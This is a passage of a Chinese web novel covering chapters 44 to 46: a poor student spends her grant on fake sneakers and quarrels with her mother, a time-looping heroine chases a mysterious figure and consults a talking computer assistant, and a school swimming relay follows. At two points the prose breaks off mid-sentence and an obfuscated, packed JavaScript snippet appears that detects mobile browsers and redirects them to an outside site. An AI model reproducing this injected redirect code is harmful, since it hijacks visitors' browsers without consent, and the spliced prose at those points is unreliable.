手机掉落在地毯上，手电筒朝着天花板，瞬间照亮了整个屋子。夏注把于支扬扶正，忍不住笑道：“羊sir，你这是什么表情？我又没对你做什么～再说了，我是那种人么……” 于支扬一脸警惕地看着她：“你不是吗？” 任谁一觉醒来，发现幽暗空间里突然冒出一张人脸，不都得吓一跳？ 夏注弯腰捡起手机，把他从椅子上拽起来，“行了，赶紧收拾东西回家吧，外面天都黑了。” “我饿了……”于支扬边走边说，“我还没吃饭。” “那就去食堂吃饭。” “现在去食堂还能吃什么？喝洗碗水吗？” “那你自己回家吃！”夏注拖着他的衣领子出来，顺带关上了门。 “但是我家里没有人做饭……” 于支扬就着这个姿势，把胳膊搭在她肩膀上，夏注甩不掉，只能扶着他走。 “夏夏，我好歹是因为等你才没吃上饭的……” “那我也没让你一直守着呀，你可以先走，或者请人送。” “我要是走了，你回来找不到我怎么办？” “那如果我不回来了呢？” “……” 夏注扶着他下楼梯，还没有听到回答，手机铃声先响了，是徐霜打来的。 她把于支扬的手放下去，示意他别出声，然后接通了电话：“喂，妈。” 于支扬自觉扶着楼梯扶手，跟在她后面一瘸一拐地下楼。只听到夏注说：“还没有，你们先吃吧，不用等我了。” “不用来接，我自己回去就行……” “嗯好……” 夏注打完电话，刚好来到一楼，回头一看，于支扬站在后面台阶上，正一脸郁闷地看着她…… “你家做饭了？” 夏注：“昂。” “那我能去你家吃吗？” 夏注：“？” 44.第四十四章 苗渔生日当天心情不佳。 中午参加拉拉队训练时，因为没穿白色球鞋跟体育老师发生了争执，全班同学看她的眼神都怪怪的，导致她一整天都提不起精神来。 十点半下晚自习后，由于留在最后做题，没能赶上公交车，只能一路走着回家。 家里的小面馆离一中不远，走路不到二十分钟的路程，这会儿她妈妈还没有收摊。 苗渔来到面馆的时候，周琴正一个人蹲在地上洗碗。 “今天怎么这么晚才回来？没去接你弟么？” 最后一波客人刚走不久，摊位旁边挂着两盏节能灯，昏黄色的光晕勉强能照亮这一片夜色。 “没有，他在网吧的朋友说他已经回家了。” 苗渔说。 “那你怎么还不回去，跑来这儿干什么？今晚没有作业吗？” 苗渔找了一张干净的桌子坐下，把书包放在长椅上，有点疲倦道：“没什么，就是有点饿了。妈，给我下碗面条吧？” “真是麻烦！我锅都已经收了！” 周琴骂了一句，站起身，直接就着围裙把手上的水渍擦干，重新来到操作台前开火。 “行吧行吧，你先坐一会儿，我给你煮一碗！” 苗渔提起方木桌上的茶壶，给自己倒了一杯木瓜水，可能是滤过好几次水的原因，入口没什么味儿。 “今天又交了500块的水电费，真的是……水费又涨价了，都到三块二了！这年头什么都贵，面馆的生意又不好，简直不让老百姓活了……” “听你三婶说，明天城管局的人可能要过来检查，我看我明天还是先不卖了……被抓到要罚款的啊，听说罚一次就好几百……” 周琴一边煮面一边抱怨，叹息声混着滚烫的沸水化作白烟，像风一样从苗渔耳边吹过。 “自从你爸死了，家里就全靠着这个面馆支撑，万一哪天不让开了可怎么办呢……诶，你弟弟又不争气……” 苗渔低头喝着水，没什么反应。 桌子上的手机发出“嗡嗡”振动，杨宝儿打来了一条语音电话，她按下接听键：“喂，杨宝儿。” “苗渔宝贝！” 杨宝儿激动的声音从听筒传来：“我突然想起来今天是你的生日欸！你今天十八岁了对不对？恭喜你成年啦！生日快乐！” 苗渔温和地牵起嘴角：“嗯，谢谢！” “十八岁可是人生中特别特别重要的日子！一定要好好过噢！宝贝你想要什么礼物呀？尽管跟我说！” 苗渔只是笑了笑，没有回答，杨宝儿继续问：“你到家了吗？阿姨有没有给你准备18岁生日蛋糕呀？快分享一下，你收到了什么礼物呀？你家今天晚上一定很热闹吧？” 巷口处吹来一阵晚风，节能灯轻轻晃动了两下。 苗渔抬起头，看了一眼不远处的周琴，锅里升起的油烟将她妈妈的脸挡住了，什么也看不清。她闻到了煎鸡蛋的味道。 “是啊，很热闹。”苗渔说，“我妈还很高兴的给我煮了一碗长寿面……” 杨宝儿：“那我就放心啦！不要委屈了自己，喜欢什么、想吃什么就好好犒劳一下自己！你想要什么礼物呀，你不说的话我自己给你挑咯？” “不用了，你还有其他事吗？没有的话我要先睡了。” “哦好，那我不打扰你了，晚安～” 苗渔刚挂电话，周琴端着面走过来了，“砰”一声放在桌上推过来，对她说：“赶紧吃吧！吃完了帮我一起洗一下碗筷，吃完夜宵得消化一下才能睡的，不然对胃不好。” “妈！” 苗渔起身叫住了她。 “又怎么了？我忙着呢，抓紧时间快点吃，时间不早了，你明天还要读书呢！” 周琴没有回头，走到水龙头旁边蹲下，继续洗碗。 “我们学校有活动，要求统一穿白色球鞋，我想买一双。” 周琴闻言，转头数落道：“怎么又要买新鞋？你不是才刚刚买了一双嘛？” “可那双是黑色的呀！” “你们学校怎么这么多事？白鞋又不禁脏，你平时在面馆帮忙就算买来，也穿不了几次……” 苗渔快步走到她身后：“这是学校的要求，我有什么办法？！” “行了行了，我明天去问问你堂姐有没有，找她借一双就行了！反正就穿一次……” 周琴关了水龙头，头也不回道：“你们现在这些孩子啊，就是享福，一点也不知道节俭过日子！买那么多衣服鞋子干嘛？穿又穿不了，在你姥姥姥爷那个年代啊，有的穿就不错了……” 苗渔听着她一个劲的发牢骚，身体不自觉开始颤抖起来，五指几乎快要陷进肉里，好半晌才冷冷道：“我不穿别人剩下的！” “小渔，你今天到底怎么了？” “妈早就跟你说过了，不要跟人家攀比，咱们家没那个条件……” “你能不能体谅一下大人啊？你弟弟就已经够让我头疼的了！自从你爸死后都是我一个人照顾你们两个，你……” “行了你不要再跟我说这些了！我耳朵都快起茧子了！随便吧，你满意就行！” 苗渔打断她的话，转身回到桌边拿起书包就走。 “诶？我还没说完呢，你什么态度？你这孩子怎么越大越不懂事啊？” 周琴站起身，跟在她后面叫道：“行行行！要买就买行了吧，40块够不够？” “50！50总够了吧？！” “苗渔你给我回来！你的面条还吃不吃了？” - 苗渔一进家门就径直回了房间。 房间门砸上的那一刻，一整天积压的情绪终于崩溃决堤，她靠着门一点点瘫坐下来，把自己的脸埋进了膝盖里。 抱怨抱怨……永远都是抱怨！ 只是想买一双新鞋而已，为什么她妈每次都这样！受够了！真的受够了！凭什么她就只能用别人剩下的东西？ 为什么每天都要把穷字挂在嘴边？成天哭穷有什么用？谁会帮我们？谁会帮！！ 为什么非要把自己搞得这么丢脸？永远都像一摊烂泥似的只知道怨天怨地！ 苗渔蹲在门后小声啜泣，脑海里不断闪过无数次周琴的声音： “苗渔啊，明天幼儿园春游跟老师请假好不好呀？车费和零食挺贵的……” “你小心一点呀！这是跟你堂妹借的蜡笔，用完了要还回去的！” “苗渔你平时多锻炼锻炼身体，就不会三天两头生病了，医院那破地方最烧钱了……这年头，死都死不起，更别提医药费了……” “什么？又要交书费了？你们学校是抢钱的吗！” “小渔，你一定要好好学习考个好大学呀，你弟弟以后就靠你了……你要是考上了，妈就算砸锅卖铁也供你！” 初中那会儿，苗渔最听不得这种话，每次都要反驳：“什么砸锅卖铁？你能不能不要这么夸张？” 然而周琴从来没觉得有什么问题，只是说哪里夸张了？咱家就是困难啊，这条街谁还不知道…… 要不是她成天哭穷，外人怎么会知道？从小到大，苗渔这句话已经说到厌倦了…… 时间过去了多久，房间的窗帘就轻轻摆动了多久，凌晨的冷风吹进房间，地板凉津津的。 身后门板传来响动，苗渔愣了一下，听见有人在敲门：“姐？姐你回来了吗？开下门啊！姐？” 苗洪还没睡？这小子天天熬夜，不会是听见什么了吧？苗渔赶紧抹了把脸，起身开门。 门一开，苗洪递过来一个巴掌大的锦鲤鱼挂件，“喏！给你，生日快乐哈，我应该没记错吧？” 苗渔一怔：“这个是？” “哦，今天网吧搞活动送的，太丑了，送你吧！” 苗洪抓了抓头发，他个子高，站在门口完全挡住了客厅的光线，发觉苗渔不说话，又问：“你咋了啊？眼睛怎么湿漉漉的？有人在学校欺负你了？你告诉我是谁，我TM替你揍他一顿！” 苗渔：“没有，你别给我闯祸！” “啧，你爱说不说，你这种被人欺负了也是活该，困死了，我睡觉去了！” 苗渔拿着那个丑不拉几的挂件看了一会儿，觉得也没那么丑，转身进屋关上了门。 洗漱上床之后，苗渔打开手机想给今天收到的这份唯一的生日礼物拍个照，却忽然看见半个小时前，普老师给她发来了一条消息： 【苗渔，你这个学期的1000助学金已经打到卡上了，记得核对，也通知你妈妈一声，有问题随时联系我哈】 “……” 苗渔回复了消息，然后躺在被窝里，盯着那段话看了好一会儿。 不知怎的，她总反反复复想起杨宝儿说过的那句“十八岁可是人生中特别特别重要的日子！不要委屈了自己，喜欢什么、想吃什么就好好犒劳一下自己……” 想着想着，苗渔打开购物APP，搜索了一下白天同学调侃杨宝儿的那款球鞋。 标价最低的一家店也要八百，这么贵？！ 到底买不买呢…… 就一次，就任性这一次！ 这笔助学金本来就是属于她的，用来买她想要的东西又有什么错？ 就这一次，以后再也不会了。 - 新球鞋刚刚穿了三天，没有人当着她的面说过什么，岂料会被夏注指出有问题。 夏注的话到底是什么意思？一定是她不识货在胡说八道！不可能是假的，她花了800块助学金到手的鞋子怎么能是假的？ 她一路着急忙慌往家里赶，冲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16443681|177505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进自己的房间，从床底下翻出了鞋子的合格证和小票。 先用手机扫描了一下鞋子的防伪码，官网结果为：“防伪码无效”。 ？怎么会没有？！ 她试了好几次，握着手机的手忍不住地颤抖，扫描不行，干脆手动输入，可出来的结果依旧是“未查询到”。 这样的结果让苗渔一阵头皮发麻，赶紧给商家发去消息：【在吗？你们家的鞋子有问题，我要退掉！】 对面没有回应。 回话呀！回话呀！她发去一连串问号：【人呢？我要退货！七天还没到凭什么不给退？信不信我投诉你？！】 还是没有回复，苗渔点进商家主页一看，商品已下架，门店暂停营业。 “？！” 她这下是彻底慌了，不可置信地盯着那排字刷新了半天，最后“噗通”一声瘫软在地。 完了…… 骗子！骗子！早知道应该在官网上买的！ 苗渔心口气到发疼，深深垂着脑袋，眼泪开始大滴大滴落下，砸在屏幕上……内心疯狂咆哮着自己怎么能这么蠢啊！这也能被骗！！ 她还成天穿着一双假鞋招摇过市！还被人看出来了！嫌不嫌丢人啊？！整整八百啊！怎么办，这下怎么办…… “咔！” 客厅忽然传来开门的声音，苗渔吓得一激灵，她卧室门没关，外面那人察觉到动静，正朝着这边走来。 “小渔，是你回来了吗？” 是周琴忽然回来了。 苗渔擦干眼泪，赶紧把盒子塞进床底下。下一秒，周琴出现在门口，围裙还没脱，手里提着一只蓝色的塑料桶。 “你在屋里干嘛呢？叫你你也不答应。” 周琴一脸疑惑的看着她。 “没做什么，刚刚戴着耳机没听见。”苗渔问：“你怎么现在回来了？” “哦，生菜用完了，我回家拿一点。真是……你不要一回家就把自己关在房间里，看你这脸色白的……” 周琴说着，转身去冰箱里拿菜，随口问：“你今天不上晚自习啊？” “嗯，不上，学校这几天办校庆，都不用上晚自习。” “你上学倒是轻松了……” 周琴忽然想起什么：“对了，我记得往年的这个时候，你的助学金已经到了呀，今年怎么还没动静？你要不明天去问问你们班主任？下个月要交社区保险了，我这两天手头紧……” 苗渔的脸色瞬间紧绷。 她妈为什么偏偏这个时候想起这事来了！ 周琴见她不说话，扭头看了一眼：“怎么了？是不让问吗？” 苗渔不说话，突然感觉有些喘不过气来，身体也开始控制不住地颤抖。周琴终于察觉到不对劲，放下手里的活走过来，“小渔，你到底怎么了？钱呢？” 苗渔把手背在身后，指甲几乎陷进肉里，事到如今，不承认也不行。 她认命般低下头，说：“花了……” “花了？？你买什么了，花了多少啊？！” 周琴脸色大变，抓着女儿的肩膀大声质问：“我不是说过要你把钱拿回来吗？你怎么也不说一声？哭什么哭，说话！你买什么了？” 苗渔的声音哽咽了：“球鞋，八百……” “八百？！啊！我的老天爷啊！你买那么贵的东西干什么？跟你说多少次钱要花在刀刃上！不要跟别人攀比！咱是那种一双鞋子敢买800的人家吗！你怎么敢做出这种事？” 周琴大口喘着粗气，气到眼前发昏：“八百块……你知不知道妈妈要辛苦干几天才能赚回来啊？苗渔，你这是鬼上身了吧？你平时不这样啊！我跟你说过多少次了要节省！要是在以前那年代连饭都吃不饱……” “够了！！”苗渔忍无可忍一把推开她，“你能不能别再跟我扯这些没用的！烦死了！” 她用力抹了一把眼泪，却怎么也止不住，泪花层层翻滚模糊了视野。女孩子抽泣得上气不接下气，大吼着：“我买都买了！你还想怎样？！退不了了，拿不回来了，已经是我的了！” “你！” 周琴气得发抖，高高举起右手，苗渔下意识闭上了眼睛，感觉被一盆冰水倒灌从头凉到了脚…… 时间停滞了两秒，想象中的一耳光并没有落下。 睁眼一看，周琴已经缓缓转过身，一步一拖僵硬地朝门外走去。她垂着头，头发凌乱地盘在耳后，脚步沉重而疲惫…… 苗渔的心脏被狠狠刺了一下。 “妈……” 她站在原地没敢上前，一遍遍小声重复着：“对不起，对不起……” “苗渔啊……我还以为，你已经长大了的……” “……” 周琴没有回头，提起地上那只塑料桶，径直走出了家门。 45.第四十五章 夏注拒绝了于支扬的蹭饭请求。 她想不通这个人是怎么好意思提出这种要求的，还就这么水灵灵说出来了，没有一点心理负担。 晚上八点半，学校门口一整排商业街就变成了夜市街。 一中门口不允许摆摊，许多摊主就骑着小三轮在马路两边叫卖，排场大的几家直接把桌子摆在路中间，来往的车辆走不通，久而久之就只能自觉绕路了。 这一片的客流量络绎不绝，周边有好几所学校，但过来吃宵夜的基本上都是些社会人士。各种路边摊的价格不贵，啤酒一扎一扎开，烧烤的孜然味混杂着酒香弥漫在空气里，越到夜深人越多。 两人走出校门一路往下，于支扬说他想吃烧烤，被夏注无情驳回，最后找了一家相对不算拥挤的米粥店。 “你不要这么看着我。” 夏注一边点单一边说：“你那脚都肿成粽子了，还敢吃那种辛辣的高热量烧烤么？万一出了事，说不定还要找我碰瓷……” 于支扬“哼”一声，扭过头去看着窗外的小吃摊继续生闷气。 两份白菜瘦肉粥套餐很快被端上了桌，夏注把其中一份推过去，对他说：“快吃吧，看什么看，你不是饿了吗？” 于支扬有些郁闷地收回视线，自己拿起勺子尝了两口，还是不太服气：“你不是也没吃晚饭么？为什么我不能去你家里蹭饭？虽然我不挑食但是……你这也太敷衍我了。” 所以他念念不忘的不是烧烤，而是这个么。 “羊sir，这个问题你问了八百遍了。” 夏注把两条手臂撑在桌子上，身体微微前倾，与他面对面，“我要是把你带回家，怎么跟我妈解释啊？难道要我说…… 她弯起眼睛，嗓音里带着点调侃：“你是我在路边捡到的小流浪狗吗？” 于支扬皱了下眉：“你才是狗！” “行行行～我不跟伤号计较。” 夏注拉开椅子坐下来，把粥吹凉了送进嘴里。该说不说，这家新店的价格虽然贵了点，但味道还是挺不错的，难怪刚才老板娘一直在吹嘘他家的米粥营养健康孕妇可食用等等……甚至买回家喂宠物都不伤肠胃…… “羊sir，你家里真的没人做饭吗？” 夏注低着头用筷子拨开蘸料里的香菜，随口道，“你莫不是在忽悠我呢？” “骗你干什么，我爸经常在医院值夜班，小姨天天在外地拍戏，家里又没人，难道指望大白米饭把自己洗干净了，然后自己煮自己？” 于支扬漫不经心地说着，把自己的空碗推到她面前，夏注挑眉看了他一眼，把挑出来的香菜扔进了那只碗里。 “嘶，不对啊夏注……” 于支扬盯着她的动作看了一会儿，忽然勾起嘴角，“你以前追了我那么长时间，怎么连我每天在学校吃饭都不知道？” 夏注“切”一声，头也不抬道：“我没有那种窥探别人干饭的爱好，谁会关注这种事……” “那你别动我的配菜啊。” 套餐里有一碟酸萝卜，用来解腻的，夏注觉得味道不错，可惜没几片就吃完了，于是把筷子伸到了于支扬那盘里。 夏注听完瞪了他一眼，站起身把他的萝卜带碟子一起拖了过来。 于支扬也没有阻止，顺手把没喝过的橙汁也递给她，低低闷着笑：“喏，这个也给你。” “不用，我不喜欢喝的。” 夏注没接。 “为什么，因为怕水的心理障碍么？有这么严重？” “那倒不至于。” 夏注拿纸巾擦了擦嘴，淡淡道：“日常洗漱肯定是没问题的，遇到大江大河或者暴雨天就不行了，游泳也不行，水太多了……” 于支扬：“那也未必，说不定学游泳还真能克服呢，要不你试试？我教你怎么样？” 夏注毫不犹豫道：“不学！你怎么还没忘了这茬？” “行吧，不提就不提呗。” 两个人你一言我一语聊了一会儿，夏注在于支扬的监督下喝了满满一杯橙汁，肚子很快就饱了。 店里时不时传来店员说话的声音，但不吵闹。夏注靠在椅背上，转头看着窗外熙攘的人群、叫卖的摊主，还时不时有几辆巡逻的交警摩托路过。 一开始很平静，不知怎的，随着时间流逝，夏注的心脏越跳越快，好像全身的血液开始躁动起来，直到她发觉异常。 诶？什么人？！ 窗外斜对面的绿化带旁边，忽然闪过了一个熟悉的人影，隔的不远，夏注一眼就看到了。正想再看清楚一点，那人似乎有所察觉，压低帽檐转身离去…… 好像是个长发的女孩子，带着黑色鸭舌帽，看不清脸。怀里还抱着一只白色的小猫。 夏注在看见她的第一眼，就萌生了一种很不舒服的预感……她的直觉从未出错。 她迅速收拾东西站起来，“于支扬，我想起来我家里还有点急事！你先吃吧然后自己结个帐，我的那份我明天A给你！不说了我要先走了！” 于支扬一愣：“？” 夏注来不及管他，二话不说提着包冲到门外，隐约还能看见那个女孩子鬼鬼祟祟地压低帽檐，挤进了烧烤摊。 一见到她就跑，这个人果然有问题！ 夏注快步追过去，说不清为什么要追，也没想好追上了要怎么办？但她总觉得如果不搞清楚这个人是谁，日后恐怕会很麻烦…… 那人越走越快，夏注紧紧盯着前方不敢移开视线，跌跌撞撞从密集人群穿梭而过。烧烤摊正对面就是一条十字路口，她顿时预感不妙！ 果然下一秒，那个女孩子抱着怀里的白猫一路狂奔，拐进了左边那条街。 遭了！ 夏注追到十字路口一瞧，左边长长的街道上空无一人！ 这条街的服装店早早就关门了，仅剩的几家门帘一动不动，没有任何闯入的痕迹。夏注逐一走过去看了，没有那个女孩的踪影。 不见了？就这么凭空消失了吗！ 夏注努力平复着胸口的跳动，一股巨大的不安涌上心头。按理说数生建模被激活这么久了，早就已经适应了时间回溯，不应该会出现这种奇怪的反应。可那个人给她的感觉更像是…… 更像是同类！！ - “诶？闺女回来啦？” 徐霜正在客厅看电视，见夏注回来转头问她：“吃过饭了吗？要不妈给你热一下菜？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16461846|177505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “不用了妈我吃过了！” 夏注一步未停，像一阵风似的直接冲进卧室，关上了门。 “起来起来！别睡了！” 她一到房间就把书包扔到床上，着急忙慌地拍了拍床头柜上那台电脑，“我遇到个麻烦的问题，你得帮我个忙！” 电脑屏幕闪动了两下，进入蓝□□面，冒出一个个迷迷糊糊的表情包：【嘿，夏注，你回来啦～】 “我问你，从一个月前时间的回溯到现在，除了我，你有没有在这个世界感受到其他可活动同类的存在？” 【可活动同类？跟你一样的数字生命建模吗？】 “对！到底有没有？” 夏注端坐在语音助手前，表情前所未有的严肃：“我刚才跟于支扬吃饭的时候突然感觉心跳加速，有人盯着我！可惜我跟丢了，但我总觉得那个背影我特别熟悉！我怀疑这个建模里存在着第二个数生建模！” 语音助手沉默了，好半晌才说：【你想多了，并没有。】 “你TM睡醒了吗？确定真的没有？” 【那当然，如果真的有，我还不至于感觉不到～夏注宝贝，只要有计算机的地方，我们语音助手可是无处不在哒！】 “既然没有，那我的身体总不可能莫名其妙出现异常吧？” 夏注依旧满脸烦躁，语音助手的安慰对她来说一定用也没有，尽管她也知道语音助手在检测同类这方面，从不出错…… 屏幕上跳出一个震惊吃瓜的颜文字，语音助手的童音真挚单纯又无辜：【啊嘞？你确定你心跳加速不是因为跟于支扬在一起的原因吗？】 夏注：“……” 有点无语，心动和心梗我还是分的清的，谢谢。 笑一笑算了。她抬起手在键盘上重重拍了一巴掌，语音助手发出“嗷”一声尖叫，屏幕上的颜文字又变成了爆哭表情：【夏注宝贝别这样，你再打我真的会坏掉的……诶等等！你是说你已经知道心动是什么感觉了？】 夏注恨不得把它扔在地上踩两脚，咬牙切齿道：“我现在没有心情开玩笑！我在跟你说正事，你不要扯开话题！如果你不想东一块西一块的话！” 【好的好的！我说我说！】 在夏注的拳头鼓励下，电脑屏幕上很快出现一段文字分析：【您的身体出现异常情况，顶多就是三种可能。】 【第一，也许是您还没有适应这个建模世界，所以身体会出现不良反应～】 【第二，跟您有血缘关系的人出现了，所以发生了感应～】 【第三，也许您的演绎方向出现了偏差，所以身体出现了副作用～】 演绎方向出现了偏差？夏注一怔：“你是说改造剧本还会有副作用？我怎么没听说过？” 【emmm按理来说我也觉得不应该来着……】 语音助手小声嘀咕着，【不知道是不是因为你的胆子实在太大了，啊这，居然想把男女主双双踢出局……】 夏注默默揉了揉眉心，不觉得自己做错了什么：“我不带着于支扬滚出局，他可就嘎了！不管发生什么，反正原定计划不能变……” 语音助手：【好吧，那么，祝你好运。】 46.第四十六章 于支扬的恢复速度出乎意料地快，三天前脚踝还肿得老高，三天后已经能跑能跳了。 四百米自由泳接力是每年必不可少的传统，与其他项目不同，这个比赛无需提前报名，直接随机抽人。 介于升华一班人数本来就少，除去个别不能下水的、身体不适的，差不多个个都得上阵。普芹看于支扬的伤已经好了，也没阻止他上场。 夏注捧着一瓶冰镇矿泉水，坐在观众席上看比赛，于支扬刚刚临走前，托她帮忙守好座位。 这个人占位置永远是最高处、最后排的座位，夏注也不知道是个什么毛病。虽然她承认这里视野不错、还可以坐着看比赛，但身后没有任何遮凉物，晒得她后脑勺直发烫。 夏注觉得随便摩擦两下都要起火了。 前排的欢呼声一直就没有停过，夏注循声望去，正好看见于支扬跳入水中。动作和姿势都很流畅，如果在前排，应该还能看清肌肉线条…… 夏注的目光落在赛场上，有些心不在焉地用牙啃着瓶口，心里一直在琢磨那天晚上遇到的“同类”。 可语音助手说，这个世界没有同类。她的身体之所以会出现异常反应，是因为剧本被改变了。 夏注半信半疑。 且不论她改造剧本是不是真的会有副作用，就算真的有，她现在还什么都没改成功呢，哪来的副作用？ 那么到底是哪里出现了偏差？ 矿泉水瓶身的水珠把她的手弄湿了，夏注穿着拉拉队服，没有兜。于是随手去翻于支扬的校服外套，想找纸巾擦一下手，可惜兜里除了一张揉成团的数学和手机，什么也没有。 这一翻找的功夫，外套被蹭湿了，手倒是干净了。 夏注愧疚地在心里默念了两遍“抱歉抱歉我不是故意的”，然后若无其事地把外套顶在头上遮挡太阳。 - “加油加油！于支扬加油！！” “快了快了！沈通！沈通接上！” 泳池四周围满了人，观众席上的呐喊声由远及近，于支扬领先一大截，已经快要靠岸，从水里冒出头，大喊一声：“沈通！” 站在岸上的沈通接到示意，摘掉眼镜，随后一个箭步冲上去，递出右手。 于支扬用力握住沈通的手，借着这股力量一秒快速触壁上岸，同时压低声音道：“高三171班那个朝人眼睛里泼水的耍阴招，防他！” “明白。” 沈通一秒也不耽误，径直跳入水中蹬离出发向对面游去。 “沈通加油！沈通！啊啊啊给我冲！” “171班加油！快点！快接上啊！我们班要落后了！” 嘈杂又狂热的观众席上，夏注实打实愣了一下。 她一把扯掉头上的校服外套，难以置信地揉了揉眼睛，险些怀疑是自己看错了。 刚刚沈通是出手拉了于支扬一把吗？ 这两个人虽然私底下关系僵得可怕，但在比赛的时候，沈通也会顺手拉于支扬上岸，他们能在最快的时间里打配合完成交接……同样的，于支扬也不屑于耍阴招坑人。 所以他俩关系再差，也不至于到你死我活的地步吧？ 夏注恍然大悟，她好像知道是哪里出现偏差了！ 她之前一直把沈通当做怀疑对象，事实上这个人公私分明，虽然跟于支扬存在竞争关系，但根本就不可能是凶手！ 一定是怀疑对象弄错了，所以才出现演绎偏差！ 夏注以最快的速度说服了自己：对！一定就是这样！ “哔——” 裁判老师吹响哨子，大声宣布：“升华一班率先完成游泳接力，男生组排名第一！” “赢了赢了！太棒了啊啊啊啊！” “夏注你们班好厉害啊！” 有几个不知道是哪个班的拉拉队女生，兴高采烈地挥舞着手里的花球，夏注一个也不认识，但对方好像都认识她。 夏注还没来得及说谢谢，身后响起一道阴阳怪气的男声：“有什么好得意的？半场开香槟是什么下场知道吗？听说升华一班有某个连游泳都不会的，下半场女生组肯定要拖后腿的……” 不会游泳，这说的不就是夏注本人么？ 这点事也值得拿来嘲讽，夏注想不通是哪得罪他了。 男生的运动服胸口上挂着高三171班班徽，夏注仅扫一眼，就收回了视线，好像完全不会生气的样子。 “那恐怕要让你失望了。”她笑着说，“拖后腿就拖后腿吧，反正我又不下场～” “你！” 男生一噎，指着夏注的后脑勺：“你怎么……你还挺骄傲的是吧？？我还以为你们升华班的女生有多……” 话音中断，夏注听到头顶上方传来一声清脆的“啧”。 “你指什么指？要说话就好好说！” 于支扬不知什么时候回来的，单手截住了那个男生的手臂，“我发现你还挺关心我们班的女生队人选是吧？” 他上下打量着对方，突然挑了一下眉：“诶哥们，你是不是想加入女生队蹭个好名次？说真的，这个我能帮你啊，真能帮你。” 这话说的无比真诚，手上的力道却不含糊。 那男生疼得龇牙咧嘴，又不好意思叫出声，只得赶紧赔笑：“不不不扬哥，我不是那个意思！开个玩笑，开个玩笑而已！” “噢，原来是开玩笑吗？” “是呀是呀！” 于支扬手劲儿有多大，夏注是知道的，看那个男生疼得脸色涨红又挣脱不掉的样子……关键是这个场景，怎么有点似曾相识？ 她上次跟于支扬在六楼楼梯间打架，于支扬也是这样一只手扣着她，直接把她怼墙上吃了一嘴的墙灰！她手腕处被抓过的地方，痕迹三天都没消下去！ 夏注都有点同情了：“算了算了于支扬，你再不松手要出事了……” 她刚一开口，于支扬就放开了手，淡淡道：“你还不走？” “哦哦哦，谢谢扬哥！” “啧，他们班这群人，出了名的喜欢挑事儿……”看着那人一溜烟跑了，于支扬转头问：“夏注你有水吗？我……” “渴……” 他一句话还没问完，就看见夏注手里，正好握着一瓶拧开的、满满的矿泉水，夏注也正好歪着脑袋看他。 “你这瓶还没喝吧？我回头再买一瓶新的还给你！” 他说着，也等不及夏注同意，直接拿走仰头喝起来。 夏注：“是没喝过，但是……” 我啃过。 夏注感觉脸颊有些发烫，盯着他看了一会儿，别过视线，问：“……刚才那个人，怎么好像很怕你的样子？揍过他？” “没有，但他们平时就是这样的。” 于支扬说，“去年有几个私生饭跟踪我小姨的车，还想强行别停。我当时刚好在车上，气不过，把那几个人打了，沾我小姨的光上了个热搜，这事就在学校传开了。讲真，我平时真的不怎么动手，可他们就是怕我，你说我是不是很冤枉？” 夏注看着他：“不是，你以前差点把我手腕都给捏断了，就像刚才那样！” “噗——咳咳咳咳咳！” 于支扬正仰头喝水，没忍住，剧烈咳嗽起来，他一边咳，一边慌张地解释：“不是！咳咳咳我……我上次，我那个时候还……你，你当时突然出手，我那是下意识反击，不受控制的！” 夏注继续面无表情道：“那你反应过来以后，还是没松手啊。” “呃……我当时觉得反正已经这样了，突然松手还要跟你道歉，很没面子……毕竟是你先动的手，虽然你是女孩子吧，但是打架的时候放水也挺不尊重对手的，所以就……” 夏注在他语无伦次的描绘中听懂了他的意思，心说好样的于支扬，你的逻辑真TM感人…… 于支扬小心翼翼地观察着她的表情，松了口气：“好了对不起啊，主要咱俩以前那个关系……算了，不提了，还是你想要什么补偿，我赔给你啊？” 夏注本来也不是真的生气，听他慌里慌张的解释， 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“按照你所说的，苗渔现在需要时间冷静，我去打扰她干什么？” “可是……接力赛马上开始了啊！我们班的人数本来就不够……” “不用了，跳过吧。” 于支扬说，“她是女生组的队长，她当然不会忘了有比赛，既然没来，那就是打定主意不参加了。” 杨宝儿面露担忧：“可是……可是如果论坛说的是真的，她现在应该很难过……” “她现在心情不好，肯定不想见人的，谁劝也没用。而且我直说了，任何人这个时候去找她或者安慰她，只会让她觉得这件事已经人尽皆知，最好就是装不知道，这个道理你不会不明白吧？” 于支扬一边说着一边掏出手机，“就让她自己调整一下吧，调整好了，她自己会回来的。你说的那条帖子，我现在就上号撤掉。” 他很快就找到了那条帖子，复制了账号ID，夏注紧盯着于支扬的手机屏幕，果然看到了内容与“山寨球鞋”相关。 升华一班的班长苗渔，无疑是自带流量的存在，帖子的转发量很高，底下评论区却跟平时的褒奖和追捧截然不同，完全一团糟： 666：【学人精吧这，买不起还装逼？】 不考进升华班不改名：【贫困生下血本了啊，我真是开眼了，这就是传说中的“贫困生”？有哪个贫困生敢买800一双球鞋的？学校的贫困补助能不能发给真正有需要的人？】 未来的富婆：【哎呦呦，是谁说的“我不穿别人穿过的～”就这？穿假的还不如穿别人剩下的呢！】 李白来到烤鸭店：【家人们，不是说买到假货她做错了什么啊，被骗了钱，也挺可怜的，主要是她这样做真的隔应人啊！为什么非得买跟好闺蜜一模一样的？生怕别人不知道那是名牌？笑死了，这事杨宝儿知道吗？买双假的天天在闺蜜面前晃悠，膈应谁呢这是……哪有这样做朋友的？】 连夜背单词：【差不多行了吧？你们对一个女孩子的恶意就这么大？人家自尊心挺强的一个小姑娘……】 